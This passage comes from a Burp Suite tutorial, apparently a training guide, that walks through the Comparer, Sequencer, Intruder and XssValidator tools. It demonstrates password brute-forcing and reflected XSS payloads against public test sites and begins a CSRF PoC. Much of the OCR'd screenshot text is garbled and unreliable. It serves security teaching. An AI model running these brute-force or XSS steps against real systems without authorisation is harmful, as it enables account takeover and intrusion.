Figure 39: Detail of all Issues with Remediation.

USER OPTIONS TAB

v User options are basically used to customize

play", Burp Suite display "User Interface", etc.

OS command injection

(escrpun |

Operateg sywiem Command rpection vulnerabdtes armse when an apphc ston
nCorporates user controliable 4t Nt 3 command that 15 processed by a shel
comeind roorpoeter F e user dath s Not SNclly vabdatod o a0c ey Can use shel
metacharacters % moddy the command that 15 esecuted. and ngect arbirary Surther
Ccomenands that wil be exoculnd By the server

OF command npecton vuinerabiites are usually very Senous and may lead 1
compromese of the server hosting the appicaton, or of the apphcaBon’'s own data and

| functonality | ey S0 De possdie 10 use The Server irs & plonm o0 Macks agaest

ofher systems. The exact potertad for explotaton depends Upon the securty contest n
wihich the command o esecuted and the prviieges that Ihes conted has regandng
Sensve resources on the server

¥ possbie apphc380ns shoukd avosd mcorporatng user cor data rio op
System commands. In 3iMest every Suation there are safer alemative methods of
performing sevverdevel tasks, which cannct be manpulsted 1o perform addtions
commands than e one ntended

v

¥ &5 conmdered unavodabie 10 INCOMOrate USer-Supphed AXta M0 CPErating System
commands the followng Swo Lipers of deferse shoukd e used 1o prevert stacks

Burp Suite as per the user like Text Size "HTTP Message Dis-
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v User options show all the Hotkeys and even edit them as per convenience of the user.
v User options help the user to save "Temporary Files" at a user customized location.
v User options help the user to report bugs to "PortSwigger" or submit anonymous feedback (advanced level).

v User options also lets a user configure (add/remove) “Client SSL Certificates".

|
PO Cannes nruder | Repealer | Sequence oCOder mpares Extender | Progect optons || User opbons | Alert
t 5

Ossolary | 1

.

Figure 40: "User Option" for customization of Burp Suite.

COMPARER TAB

v Comparer, as the name says, is for comparing different HTTP Requests and Responses.
v Comparer helps the tester to compare different values for parameters and headers.

v Comparer checks the behavior of the application that reacts to the valid user or invalid password combination

or vice versa.

v Comparer checks the responses using "Word by Word" or "Bytes by Bytes",

Steps for Comparison

Step 1: Intercept the Request > right-click select "Send to Comparer" > Intercept another Request and "Send to Com-

parer".
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B B Sume Poctensionst V171! - Ty S mmm——

Burp tnuder Repeater Window MHelp

| Yarget | iy | Spdes | Scannes | itruder | Repeater | Sequencer | Decoder | Comparer | Extender | Profect options | User opsons | Alerts | Ses
Jamesngn | HTTP story | WebSockets nestory | Opecns |

# | Request topip Aiderns testfiee net 80 [65 61 137 117]

P—
'.___f‘,'_'._'.'_d___. N— M_' 'm.m -—k?_‘,_J SG”'OSM
| Ranw | Paraens | Headers | Hex | Do an active scan
GET /bank/main.aspx MTTP/1.1 Send 1o Intnudes Gl
Host: demo.testlice.net Send 10 Repester CrieR
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Send 10 Sequencer £.0
Accept: text/html, application/xhtmlexml, application/xml;q
Accept-Language: en-Us en;q=0.5 Send 10 Decoder
Accept-Encoding: gzip, deflate Request in browses
Pe(f.-:v_-n: http:// »'.1’.‘.'1-:.2'.";{!XL‘.'.I'.'.".Jhdn':'»l':"',)lr‘..d',p:j:. Engagement tooks
wokie: ASP.NET Sessionlds=zzuzeczipdfblzviZhyvisss: amSess
amUserInfosUserNamesYWRtaWdssPasswordsYWRtaWds; anUserIdsl Change fequest method
Connection: close Change body encodng
Upgrade-Insecure-Requests: | Copy URL
Cache-Control: max-age=0 Copy a5 curl command
Copy 10 fie
Paste from file
Save fem
Don niercept requests >
Do niercept »
o o 4 »
URL-encode as you type

Figure 41: Sending "Intercepted Request" to the "Comparer".

Step 2: Navigate to "Comparer" and chose the option for comparison => "Words" or "Bytes".

[ T L DDA LI S S————
By rtruder Reposter Window Help

[ Torge | Prswy | sputer | scanr | waruser | Regeater | Sequmncer | Decoder Emlm:nn]wmlm]m]

o

x

Comparer
Thes funcion lets you @0 3 word: o Dyte-deved companson between Sfferert data You can kad pante, or send data here Bom ofher tools and then select Bhe Companson you wart 1o periorm

Select g |
’ Lengt
1 [
5 568
Select tom 2

. Lengh
4 16
& ™)

Figure 42: Comparer window which compares Words by Words or Bytes by Bytes.

Step 3: Wait for a while till Burp Suite does its work.

Observe that Burp Suite shows the result.
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3
Bup ntruder Repeater Wwdow Help

Comparer ‘![ﬂ:c:ic«“»uumﬂ aw»««._] & ] x L“
Thes function e W
| Leng®h 135 @ Teant ) Hex Length %48 ® Text ) Hex
Select 8em 1. | | cociie ASP NET_Sessionki=22uzeczépab2zvi Zhyvis5s POST ankiogn aspx HTTP/1 1
u | | amSessonid=06539186035 Host: demo testve net
P ] imUiserinds - UserName - YWRISWE=5P - YWRIaWE=, User-Agant Moz#ia's 0 (Windows NT 10 0, WOWS4, rv 52.0)
5 | | amUsend=! Gecko20100101 Frefon®2 0 brita's 0
Accept texthimi apphcation shitmi+ xmil apphcation’oml g=0 9" q=0 &
Accept-Language enUS eng=0 5
Accept-Encodng grp, deflate
Referer hap Vdermo testfre netSankiogn aspa
Coolon ASP NET_Sessonkd=2z2urec 2 8dB22vi Ihywss5
amSessenid=050301080355
Selectfem 2
2 ] wd admndgassw admnbinSuterd Loge [
4 NE=0593
3 | 0
| vy MaHed [DREIEE Adses | L Sync wews

Figure 43: Comparer result window.

ALERTS

Alert is not a tool but for all suite-wide notifications that Burp might want to share. Its a good place to see whether the

proxy started successfully or faced any errors. Whenever there are issues with SSL negotiation for applications, the in-

formation on the errors, and others, they can be found in the Alerts tab. It is a good idea to check what is being listed

here if something is not working.

Burp ntruder Repeater VWindow Help
ll’m[qu[SM«[Scmlmmlwimu]mmlw‘mlﬁwwlmmlmil

!‘I’m Tool
| 001723 8 Age 2017 Praocy
| 0100:138 Age 2017 Proy
010013 8 Age 2017 Prowcy
| 01:15:42 8 Ape 2017 Sute
| 01 38 58 8 Age 2017 S aneet
| 013753 8 Age 2017 Scanre
1 0138 03 8 Age 2017 Scanver
[ 013818 8 Agr 2017 Scanner
| 013818 8 Age 2017 Scanrer
| 012830 8 Age 2017 Scanrer
[ 0138 35 8 Age 2017 Scanrer
| 013943 8 Age 2017 Scanre
| 0142 27 8 Age 2017 S anve
| 0142 50 8 Age 2017 Scanves
il)l 4303 8 Age 2017 Scanmes
| 014326 8 Age 2007 Scanmer
101 4327 8 Age 2007 Scanrer
{01423 8 Age 2017 Sute
014426 8 Age 2017 Scanrer
[ 0144 26 8 Age 2017 Scanner
| 01 44 28 8 Age 2017 S arwet
(014513 8 Age 2017 Suste
| 014513 8 Age 2017 Proocy
AL AN AAN S N2y N ae

Message

Proxy servwce started on 127 0.0 18080

Timeout n Yarsmesson from detectportal Srefox com
Timeout n communc ation with remole server

3] Auhenticaton fadure from demo testire net
[31] Timeout in ranseressacn om Semo e rt
[7] Fasled to connect 1o demo testire net

Tameout 0 Farsmesson from demo Sestire net

[} Faded to connect to demo testire net

Tmeout n Yarsmesson from demo Sestire net
(3 Faded to connect to demo testire net

] Tmeout n ¥arsmesson from demo testire net
[27] Faded 10 connect 10 demo testfire net

2] Tmeout n ¥arsmesson rom demo testine net
Fasled 10 connect 1o demo testire net

Tameout n Yarsmesson from demo testire net

(4] Faded to connect 1o demo Sestire net

Tmeout n Yansmesson from demo Sestire net
[13] Faded 1o connect to demo testve net
Tmeout n Yarsmesson from demo testire net
Fadled to connect to demo testire net

M) Tmeoout n ¥arsmesson from demo testing net
(18] Faded 10 conmect 10 Sema testfice ret

Faled o connect 1o demo Sestire net B

T Y T Py v ——

Figure 44: Alert window which shows all the notification.
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SEQUENCER TAB

= Sequencer helps in verifying the randomness and predictability of security tokens, cookies and more.

= Sequencer helps in analyzing the predictability of the application data, such as session cookies and anti-CSRF

tokens. Sequencer gathers application data (Request and Responses) and analyzes data.

How to analyze data?

Step 1: Intercept the "Login" request > Right-Click, select "Send to Sequencer".

B! g Ste Mchriicon
[ truder Recess
Target ] Seder | Scarner | itruder | Nepedter L)a;nv-'- o | Decoder | Compurer | Edencer | Fropec! cphons | User opbions | Aerts
| HTTP hestory | WebSockets hestory | Optiors
' estfre net 80
Forwaed Drop oorcopt 15 on Acbon
Raw | Pararms | Headers | Hex " >

Figure 45: Sending Request to "Sequencer".

Step 2: In Sequencer tab > under "Select Live Capture Request" select the Request and click "Start live capture”.

B o Ste Protesscnat 1.7 —vensl m —
Bup truder Repester Window Help

lhnx\‘.“{-av ,"-:xnn‘l'!nnan Reposter | Seguencer | Decoder | Comparer | Exdender l‘mpd:(ﬁ'r.\A

Uiser optons ilwd\ |

| Live capture [ Manual 0ad | Analyss optons

-

Send requests heve from oiher 10005 10 configure 3 ve captire  Select the reqguest 10 wse configure the other optons below, then cick "Start e

Reerove # « Host Reguest
2 hp Vderro testire ret GET Markman mes HTTPT THowt demot |

Cew

Slant bve caphire

Select e RCaton N e 1eiponse whiete e Wen ipeirs

& Custom locaton Cordgure

Figure 46: "Start Live capture" to check the sequence or randomness.
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Observe that "Live Capture" started.

Note: "Pause" and "Stop" can be done anytime and analyze the token.

| Decoser | Comparer | Exterster | Proect options | User spscns | Atents | Sesscnaun |

B Burp Seguencer [hve copture 24 i domo Sestfre ret) - o x

2| Select Live Capture _?, P""m‘w'm)l

Send requests here from of : Pause i |l Cepy whens i L Acto analyze (next 100) Requests 66
| Remove 8 j | Swp | Save lokens. Analy 2 now Emors 0
Clear -

| St bve capture |

2| Token Location With

Seloct he lecation n the ry
® Cocioe !ﬂ

o Custom lecaton

2| Live Capture Option

Theas wrttinne rontrold the e e

Figure 47: Live capture started with "Pause" and "Stop" option.

Observe that the result is declared after the sequencer has analyzed everything.

: ‘Bmm«lu.mmuw-.-mwm'mx ST
| 2| Live capture (0000 tokens ) e ———————————————————————
| Passe . | | Copytchens | wioanalze  Requests: 20004
| Stent bve caphare | Sop | Sevewksns | | Anshzerow | Emors 0

' Sumvmary | Characteevel anslysis | Btdevet anatysss | Anatyss Ogtons |

t ? | Token Location

T Setect e locascn | |__FIPSAns est l FIPS long runs test ] Spectril lests ] Carrelation ] Comgr l Bacomersn |
J________m,,______] FIPS moncbe test I FIPS poker test |
& Coolow "
i | re——
0
U Custom locston | = g

|2 | Live Capture O;i

o These setings contrq  Effective Entropy
&
o The chart shows the numbder of bits of effecive entropy &t each signficance level based on the bit-level tests Each signficance leved define
Number of threads. | seohabdity of the cbserved results occuming 4 the sample & randomiy generated Yhen the probabdty of the cbserved results occurmng &
= | mypomesis that the sample 5 randomiy generated & rejected. Using 3 lower Sgaficance level means that stonger evidence is reguired 1
oﬂemvew: hat the sample 15 random, and 50 INCreases T chance that non-random data wél be treated as random

& ignere tokens wha

Figure 48: Result of the analyzing of the sequence and randomness.
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INTRUDER TAB

o Intruder performs fuzzing with different content with the same request multiple times.
- Intruder web fuzzing typically consists of sending unexpected inputs to the target application.
Intruder is for automating attacks, attacks against web applications like:
e Fuzzing for XSS, SQLI, Path traversals, etc.
e Enumerating common directories and files that can cause information leakage.
e Enumerating user information, such as names and passwords.
Intruder has 4 attack types in drop-down menu
1) Sniper
2) Battering ram
3) Pitchfork

4) Cluster bomb

Start attack

Add ¢

Figure 49: Intruder window with attack type.

Sniper: Sniper replaces all positions with strings from a single payload list. It will iterate through all payloads one by

one for all positions.

Battering ram: All positions are simultaneously replaced with the same attack payload.
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Pitchfork: Pitchfork uses two or more payload lists, depending on the number of marked positions. It will use the

first word of the first list for the first position and so on.

Cluster bomb: Multiple lists are used in this heuristic.

Steps to Sniper attack (Intruder)

Step 1: Intercept the "Login" request > Right-Click, select "Send to Intruder".
f‘ Barp Suite Prefersionst v1T.!

|
i Burp iruder Repester Window Mep

i | Target ] | Speder | Scanner | Intruder | Repeater | Sequencer xL.‘tc:-:::f Comparer | Exiender | Progect options | User opbons klo.eds | SessonAuth
A | 4 ! |

,,_l l HTTP hestory | WebSockets hestory | Optors

Send 10 Speder
i & | Reguest 1o hep Idama testfve ret §0 (85 61 137 117) Do an actve scan
| Send to Intruder Ciril

Forward Cro Intercept 1S on Action
P oy Send to Regeater Cui+R

i :
LJ Raw [ Params | Headers | Hex Send to Sequencer

Send 1o Comrparer

Send to Decoder

Reguest m teowser >
4 lication/xhtml+xml, appli tion/xml; q /% qQ Engagement 100l >
|':' F t 1 na 34 on ! - Change request method

Change body encodng

Copy URL

Copy 88 cutl command

Copy to fe

Paste from He

Save tem

Do mtercept reguests »

b} - tnSubmit Do wiercogt >

Figure 50: Sending "Intercepted Request" to the "Intruder".

Step 2: Under "Positions" > Under "Payload Positions" => "Attack type" set to "Sniper" > click "Clear" > select the pa-

rameter and click "Add".

Bap e Repeater Window Help

Torpet | Mroxy  Speier | Scamer mllirgtxw Segurcer | Decoder | Comparer | [dender  Mopct cptors | User aptions | Aerts | SessonAuth
|2
}

Target | Postons | Payoats | Ogoons

St anach
orfgure Be potiorn where payioads wll be raeried ris e base reguest  The sftack Hhpe deterrmmes He smay N whch payoads are angned 10 payoad postions
s help Tor A Detads

F".-v:_- e .
.

~ Al g

Clor §

Ao §

Hetrown
- T— L
e .

o e Cea
9 prvROoe) poslar Lergm 509

Figure 51: Selecting "Attack Type" and adding "parameter".
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Step 3: Under "Payloads" > Under "Payload Options", enter multiple payloads and click "Add" every time you add a
new payload > click "Start attack" to start attack.

Note: Under "Payload Options" > click "Load" to submit the full wordlist or add a

preloaded list select from "Add from list".

B2 Burp Sute Protensional v1.7.17. g Dl el R La - (u] x
Buap nruder Repeater Window Help

[ Jawl |
| Target | Postions | Paoads | Opsens |
|2 Payload Sets  $sart attack =
You can define one or more paload sets. The nurmber of payload sets depends on the atack type defined n the Postions tab Varous
Pindoad types e avsliie or each payload Set, and each payload type Cin be cultomzed n diferent warys
Pajcod st |1 B Pamadcount 10
Pajcas tpe m!ﬂ .l] Request court 10
| 2| |Payload Options [Simple list]
Thes parflodd type kets you configure 3 semple kst of strings that are used as paloads
| Paste | hacker 2 :
- et
| Load perasoon
A prasoon >
b  hackme
| Consr w3
([ AdS
A4 from kst Bl
Figure 52: Adding payload for the attack.
Observe that one password has been successfully applied.
3 i
Burp truder Repester Window Help & AW
| Tavget | Promy | Spuder | Scaneer | tnuter | Repester | Sequencer | Decoder | Comparer | € | Propct aptons | Uses sptons | Aess | Sessoniuh |
1 I‘..! | S - 0 x
.’m': :’ Atack Save Coksrens
2| Payl
& Fller Shownyg ol terrs g
You can |
pvoadl Request 4 Payoad Samtss Emor Timeout  Lengh Corrernent
0 200 w0
Payead| baw e 200 g L oom
Pavead| 2 st 200 s
| PEeasoon 200 3 J a0
14 peanoon 200 L wr
2| Paylog § hakrve 20 (¥ s
Y 49 e 200 [ L om
nde = ) . R ]
Ll * 20 = J s
2 1234 200 i I T
w" > TN 1234 200 08
. Remed | Feanst | Basponne |
oot o | Heners | vex | WTA | Foerer |
IHTTP/ 1.1 2 vd ~i
mlu‘m::‘rm_'_-l;’.x.-'.. no-cache ?
———1Pragma: no~cache
MHJ ntent«~Lenath: 124 4
1 ' 4 <||eo » Type & O maches
;'mhd _—- -

Figure 53: After Brute force found one successful attack.
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EXTENDER TAB

= As we know, Burp Suite on its own has many sets of functionalities (Tools), but also provides API interfaces

for extending more functionality and finding vulnerabilities.
= Extension helps in enhancing and extending the functionality.

= Extender also helps the user to implement their own extensions written in JAVA, Python, and Ruby.

Note: We will be learning about "XssValidator" extender from BApp Store. )

13

esValdator Faptoscn

© [MVASCRPT) pla
o [EVENTSANDLEN)

Gerang vines

Figure 54: XssValidator window.

XSSValidator in BApp Store

1 r .
Exderdey | Pyt optr User ptons | Merts | asaVabdster | Rieflecthor

BAge Shwe | A% | Oyt

Haerg
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Figure 55: Installing "XssValidator" from BApp.

Step 1: Intercept a Request with some parameter, for example "search" Request and send to "Intruder".

[ PR POICE } [ S S——————
Buap ruder Repeater Window Help
. . . . . v .
11.914)' [SMAS(MLM LW lm«ll}«o&lo«mlim [Mlmlwmlmlml
Stssan | HTTP hestory | WedSockees hestory | Options |
Send % Speder [
# | Request 10 Mip idemo testfre net 30 18561 137 117) D0 an actve scan
Fooward D wmerceptis en Acta
e Send 1 Repester Cui*R
JM[PamlnuaniNul Send 1 Sequencer
y PR —
POST /bank/login.aspx HTTE/1.1 Send %o Comparer
Host: demo.testfire.net Send % Decoder
User<Agent: Mozilla/S5.0 (Windows NT 10.0; WOMéd; tv:%2.0) Gecko/201¢ Roguest n trowser .
Accept: text/html,spplication/xhtmlexmi, application/ xmi;quwl. o,/ " q» Engagement ols >
Accept-Language: en-US,en;qe=0.5 Change request method
Accept-Encoeding: gsip, feflate Change body encodr
Pefecer: hetp: foermd . testlicve . net/bank/login. aspx = " o
Copy URL
- [ 31 B {E v fonlid= ' X . 1id=-
e . Copy a5 curl command
e - 1
Uy ade-1In [ ¥ L T ] Copy % Ne
content-Type appl At ~Www-{ -urle ied Pante from fle
‘ontent-Length: 35 Save tem
Don ntercept requests >
uld=adninspassweabosbtnSubmit=Login Do miercept .
»
URL-encode as you type
? < . »

Figure 56: Sending Request with parameter into the Intruder.

Step 2: Navigate to "Extender" in Burp Suite > under "BApp Store" > select "XSS Validator" > click "Install".
B Barp Sute Prefessienat V1 71! Tompmy Tamd i by, oo - o w

Bup mruder Repeater Window Help

[ Target | Prowy | Spader | Scanner | imruser | Repeater | Sequencer | Decoder | Comparer [[Extender | Prosect sptons [ User options | Aterts [ xssvasamor | Reecton

| Extensions | BAgp Store | AP | Options

BApp Store ~

The Bigp Store contarns Burp exdensons that have been witten by users of Burp Sute, 1o exdend Burp's capabétes

Name nstaded Ratng Detad || A .:
Ste Map Fetcher PRS2 2 T —
Scfteare Verson Reporter L L 8.8 8.8 Pro exension Thes ex10rS0n Sends sponses 1 8 localy-runing XSS-Detecton
SenOw LJ STy powernd by ether Phantom g5 and'or Shmer |5
SCLPY o ' 2. 2.8.0
Swagoer Parser | 2. 0. 0.0 1
ThreadFx [ *x ok kX Pro exdension Before Slamng an aack £ & necessany 10 stan e XSS-Detector
Yokenlar G - servers Navigane 10 the xss-detector deeciory and execuse the
UUID Detector G e
WAF Detect = ' 2.8 8 0 1 $phantorys xss s & ’
WCF Deseraizer G ok $ shmens simecjs &
Wedinsgect Connecior | L. 2. 8.8 8 Pro extenson The server wil ksten by detautt on port BOG2 The server is expecting
WedSphere Portiet State Dec \ L B 8 gtas basedd encoded page responses passed v the htp response, whch
What. The \WAF U & SEaw wil be passad via the Burp estender
Woedist Extracior — ndndndaded Narvgate 10 the xssVabdator tad and copy the villue for Grep Plvase
WSO Wizard - *kk Enter Pes value withn the Burp intruder grep-match function Pindoads
Widter = L3 8.8 8 ™ that match ths Grep Pvase ndcate successhd esecuon of XSS
XCheomel ogger Decoder U 2. 0. 0.0.4 parfoad

(355 Vakdaror Rk ] J g
Yara ( TR AKX . v

Retresh kst Wnst.l

Figure 57: Installing XSSValidator in Burp Suite.

Step 3: Navigate to "Intruder" > under "Payload Sets" > select "Payload type: Extension-generated" > under "Payload
Options” > click "Select generator" (drop-down menu)> window will open select "Extension payload generator: XSS
Validator Payloads" > "Selected generator: XSS Validator Payloads" > Click "OK".
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3
Burp intruter Repester Window Help
| Target | Prosy | Spuder | Scanner [[lnnuser | Repeater | Sequencer | Decoder | Comparer | Exsender | Project ogsons | User optons | Aens |

1x]2=

[ Target | Postons | Payiosds | Optons |
2

You can define oo of more payload sets. The numder of payload sets depends on the arack type defined in the Posfons tab Vanous payioad 1
are avadable for each panioad set, and cach payload type can be customaed in dfferent ways

Payoad set |1 g Payload court  unknown
IPofbodmu- Externsie grnested gj Request count mvmm]

L?J Payload Options [Extension-generated] B seects SR &

This payload type mvokes a Burp extenson 10 generate payloads rd Select the extension-provided payload generator that you
= want 10 use. Burp extensons Can be loaded using the

[Selected generator XSS Vadator Payloads | Extender Sool
Ll' Payload Processing | OK || Cance

You can define nies 10 perform vanous processng tasks on each pa

| Add | Enabled  Rue |

Figure 58: Configuring XssValidator to be used in Intruder.

Step 4: Navigate to "XSSValidator" > copy "Grep Phrase" in XSSValidator> Navigate to "Intruder" > Under "Options"
tab > under "Grep-Match", click "Clear” to clear all the Grep match > Paste the Grep Phrase already copied from
"XssValidator".

MH.’M-!Y\ gy bgme  p— -8 -

xssValidator Payloads
Created By Jobn Fouln (@forced-request) Custorn Payloads can be defined here, seperated by Inebreak:
Version 130 o {JAVASCRIPT) placetoiders define B kocaton of the Javascry
o {EVENTHANDLER} placehokiers dofiew locaton of Javascrgt ¢
w55 Vakdador s an inruder extender wih 3 customaadle kst of payioads, thad couples Such a5 onmouseover, that are tested va scriptable browsers
wth the Phantom /s and Simer js scrplable Sroasers 15 provice valdaton
of Cross-sde scrping vainerabites & [MVASCRPT)</script>
A JAVASCRIPT jrsce gts
Getting started: o> (MVASCRPT)</scrgt>
® Dowrond Lstest wrsion of xss-detecions from i i seposdory et (MVASCRIPT) </scrpt><
® St the phantom server: phantoms xss js PO UAVASCRIPT)<lscrpt>
© Create a new riruder tab. setect Exfenson anered payioad W LAVASCRIPT) </scrigt><

WT>JAVASCRIPT) </SCRIPT>
® Undier e mtruder options b, add the Goep Phrase 10 the Geep-Match panel PP LAVASCRIPT). </ecr<tacrtot>
Jesongt> PT>(MVASCRPT) </SCR<scpt>PT>
screscrpt>Upt> [JAVASCRIPT) <iscr</sc </sorpt>npt gt >
“ASCRIPT) *
[Simer Server Settngs hip 0127 00 1 8004 \SCR”Y)}
S0P T>{AVASCRIPT)</SCRW00PT>
o ASCRPT) N
Prease tylsassadtusyt | LE TYPE wSextjavascrt™ > LAVASCRIPT) </STYLE
RIPT>[JAVASCRIPTY <</SCRPT>
NTHANOLER)=[JAVASCRIPT)
Mavascngt functons dlert console log confem prompt RIPT»JAVASCRIPT ) < </SCRIPT>
HC="1" oremror =" JAVASCRIPT]">
s ="t onemor="[MVASCRIPTY
Mavascrgt event handiers COMOUSIIONE SOMOSEON OIMOUSEINS! ol WVASCRPTY
W=TMVASCRPTY

FrantomJs Server Settngs hip 0927 0.0 1 85082

Figure 59: Copy Grep Phrase from XssValidator tab.
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B Sup Sute Profersonal 1111 Necawe Bl bancnl dne b

1x]2+ -
Target | Postions | Payloads

Ic' TIRUOU SV IS VUTRTUY TRTIUE SRR TIRRAST A LUTUN LA T AN T

o Store requests

¥ Store responses

& Make unmodifed basekne request

[ Use denislof - senace mode (no results)
LJ Store il parloads

Grep - Matc

2J
M These sengs can be used to flag result tems contanng speched expressions
) Flag result tems with responses malching thess expressons

Paste | fylscufsudbusdl
|:Remaove.|
| Clear |

Add | tyTsoufsudtusd!

Match type: @ Simple string
U Regex

Figure 60: Adding XssValidator Grep Match in Intruder Grep - Match.

Step 5: start attack (Intruder (in menu)) > click "Start attack” option.

BY Burp Suite Professional v1,7.1 ¢ Ty Sges oxmg o s i

Burp Repeater Window Help
Sequencer | Decoder | Comparer | Extender | F

Open saved attack

 Actively scan defined insertion ponts
Send to Repeater
Save attack config
Load attack config
Copy attack config
New tab behavor
Automatic payload postions
Configure predefined payload hists
These settings can be used to flag result tems containing specified expressions

A

AR

A A AR A A

(Y

¥ Flag resuk items with responses matching these expressions
Paste E fy7sdutsudfhusal
Load ...
Remove
| Clear |
| Add | fyTsdufsudfusdl

Match type: @ Simple sting
U Regex

| Case sensitwe match

M Exclude HTTP headers

Figure 61: Starting XSS brute-force attack.
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Observe that Attack has been started and the payloads are brute forced on the “search” parameter.

Attack Save Columns
| Resuts | Target | Posstons | Paylosds | Options |

Request + Payioad | Status Emor | Tmeot | Length ty7sdu | Comment
0 200 iJ [J a8 @]

1 [ <scrpe-senizsarooasg)scn 200 J o 7508 =]
2 SSIRLCONGOM oG T 24n . 200 [ o 112 O

3 <scrpt>confem(289792458)</ . 200 U U 7508 u

4 <strptrprompl(299702458)<s . 200 () J 7507 ()

5 <sCr pt>Aen(299792458)</scr . 200 u uJ 7508 u

8 <ser plt>console log(28879245 . 200 J J 7514 J

7 <S¢f ptrConfem(299792458)</ . 200 (| U 7510 )

8 <scr pt>prompt(200792458)<) . 200 U U 7509 u

9 “restrpt>alen(299702458)Us . 200 U J 7508 J
10 “><serpt>console LG(2997924 200 [ o 754 O
" “><scrpt>confrm(296702458) . 200 U J 7510 (]
12 “r<SLrol oMo 200792458) . 200 [ J 7509 G

GET /search.aspx?txtSearch=%3cscriptilealert (2599782458) %3¢
HOST: demo.Testlire.net

User-Agent: Mozilla/S$.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.%,*/*;q=0.8
Accept-Language: en-Us, en;q=0.,5

Accept~Encoding: gzip, deflate

-~

$2f=scriptSle HTTP/1. 1]

To observe the response in the browser, navigate to any "Response" (positive response) and Right-Click to select

"Show response in browser".

[ 15 ater omect 3 ST
Ataxck Save Counns
Fiter: Showng o sems v.?,
Request  « Payasd St Ereee [ Terost  Longth fyTsdd  Comment o
0 200 J J 7478 s
11 _ 200 L L T L] |
2 <scrgRrconsole 29979245 . 200 o L 7512 oJ
3 “scrptrcorfemi2OsTeyY 200 & Riad W
& <SCOP pIOmEU290TI2458) <5 200 Send 1o Speder b
6 <scr gt dert (280102858 iscr . 200 Do an actve scan i
[ <scf glrconsole (29079245 200 Do a passive scan U
r <scr grconfrm(20aT92458)< 200 Send 10 Intruder Cutel |
& <SCE QU PeampU (230790458 </ 200 Send 0 Repeater CyieR |J
) s <scrpt>ale 29T s 200 Send 10 Sequancer B
10 ><scrprconsole QZUITIR 200 Send to Compares ¥y
" “rescrpt>confem{ZO9T92458) . 200 Send 1o Decoder - 3
12 "L ROmEu299T92458) . 200 ¥
lmlm“ | Request n browser ’|
N 1 Engagement tools L
Raw | Heaters | Hex | HTML | Render | Copy URL ‘
<nhl>Seaxrch Results< 1> Copy 35 curl command | &
Copy o fie
<o No results were found for the qnoti e |
<span ids™ ctl0 ctl0 Content Main 1b - .?9792‘3.)-1 script></span></p>
o | g
L2 L= 2 |2 | 209792458) eV | 1 match

Figure 62: Selecting Response in browser option.

Click "Copy" > paste it in browser.
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!_Icack Save Columns

lﬁgrmlmlmlm]

l Fiter: Showng al tems 7]
l,m Al Payload Setvs  [Enor  [Timeodt [Lengh  [fy7sdd... | Comment
0 200 ) () 7478 u i
1 <SCOPL>an(299TI2458)</scn 200 () U 7506 J
2 <scnpt>console log(20079245 . 200 J J 512 J
N3 <scnpt>confem(Z99792458)</ 200 M) o 7508 u
|4 <scnpt=promet( 200792458 )cde 200 Ll Ll JR0T i
Is <scr ipt>aien(200762458)</g B Show sesponie in biswser X
i 4 etrnb oy NICRETES To show thes browser, the URL below and paste
T <scr ipt>confrm(290792458 o eSpoRss I your  copy
8 <ser ipt 209792458) nlo 8 browser that is configured % use Burp s s proxy
] “rascript>slert200792458)4
urp'show'8 Copy
10 "><songt>conscle log|29979 —
" Fescrptconfrm(20979245 ] In future, st copy the URL and dont show thes dalog | Close |
12 '><xmmm299?9245{ i L
| Rzt | Response |
[ Raw | Heoders | Hex | HTIL | Render |
<hl>Search Results</ii]>
<p>No results were found for the query:<ii /><up />
<span ide* _ctl0_ ctl0_Content_Main_lblSearch"><script>alext (299792458) </ script></span></p>
</div>

Figure 63: Click on "Copy" and paste in browser address bar.

Observe that Reflected Cross Site Scripting (XSS) vulnerability has been discovered with the help of "XssValidator"

and "Intruder".

U ARoro Metust SeachRes.. X 4

€ @ & | demo.testirenet/search aspa?naSearch « <scrpt > lert(299792458) < B tseript> | X & Q search

B Mot Visted @ Getting Stated

Figure 64: Reflective XSS has been successfully done.
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CROSS-SITE REQUEST FORGERY (CSRF)

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web applica-
tion in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of

data, since the attacker has no way to see the response to the forged request.
Generating CSRF POC with Burp Suite (works in Paid/license version only)

Step1: Navigate to web application (http://testphp.vulnweb.com/login.php). Login with credentials “test” (same for

both username and password).

Step 2: Intercept the Request in Burp Suite by clicking "Update" button.

user info X +
(' vulnweb.com
2 Most Visited @ Getting Started
M acunetix NelaTReRg
el X 3 L
l
search art John Smith (test)
==
3
1 John Smath
A 234-3678-23 9
1 emaill@email.com
2323345

Links

@ ;i*"
LA update
e

Figure 65: Intercepting the Request by clicking on the update button.

Step 3: Right-click and in menu select "Generate CSRF PoC" in "Engagement tools".
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n‘.puhdmﬂ.". ‘e b . — - e - (o] »
Burp teuder Repeater Window Help
'i-m! Speder | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Progect options | User optons | Nerts | xssVakdator | Reflechion

|| Request 3 hitp (testphp vulrwed com 80 176 28 50 165)

| Fewwd | Dep | memeptison  Acwn | o T f s 82
e 2o x % e e Do an actve scan | S
ﬁ]mlmlhl Send 15 Wruder ool |

POST Juserinfo.php HTTP/1.1 Send 1o Repeater CyeR .
HosT: testphp.vulnweb.com Send 1o Sequencer 1

User~Agent: Mo2illa/S5.0 (Windows NT 10.0; WOWES; tv:iS2.0) Gecko/ Send o Comparer
Accept: text/html, application/xhtal+xnl, spplication/xml:qe0.9, "/ Sendt Decoder

Accept-Language: en-US,en;q=0.5 Roquest n browser »
Accept-Encoding: gzip, deflate P
Referer: http://testphp.vulnweb.com/userinto.php _ Find rederences
Cookie: loginstestilfrest Change request method Drsc ower cortont ‘
Connection: close Change body encoding S hecho task |
Upgrade-insecure-Pegquests: 1 Copy URL
Content-Type: application/x~www~form-urlencoded Copy a5 curl command {
Content-Length: 114 Copy 1o e
Paste from fie
urnamesJohn+Emithiucc=1234-5%676-2300-50005suemaili=emai l ¥ d0ema1l.c Save gem psmléstreetiup
datesupdate Domt rsercept . >l
Do rtercept .
Cormer! sedec Bon D'
URL-encode & you type
. " i
( . .

Figure 66: Generating CSRF PoC.

Step 4: "CSRF PoC generator" window will open > click on "Copy HTML" button and paste in "Notepad".

BI[C5 Pt gerarator - 0 X

Request 10 HIp /MeStphp vinwed com | 2| | Optons

POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

